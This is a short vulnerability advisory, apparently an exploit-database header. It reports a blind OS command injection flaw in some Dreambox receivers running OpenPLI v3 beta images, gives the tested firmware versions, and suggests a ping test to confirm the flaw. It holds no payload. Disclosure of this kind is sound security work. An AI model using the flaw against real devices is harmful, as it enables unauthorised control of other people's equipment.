					Some Dream Boxes with OpenPLI v3 beta Images are vulnerable to OS Command injection.

					Tested on the following box:
					* Linux Kernel	Linux version 2.6.9 (build@plibouwserver) (gcc version 3.4.4) 
							#1 Wed Aug 17 23:54:07 CEST 2011
					* Firmware	release 1.1.0, 27.01.2013
					* FP Firmware	1.06
					* Web Interface	6.0.4-Expert - PLi edition by [lite]

					Note: This is a blind os command injection vulnerability. This means 
					that you will not see any output of your command. Try a ping command 
					to your local system for a first test.
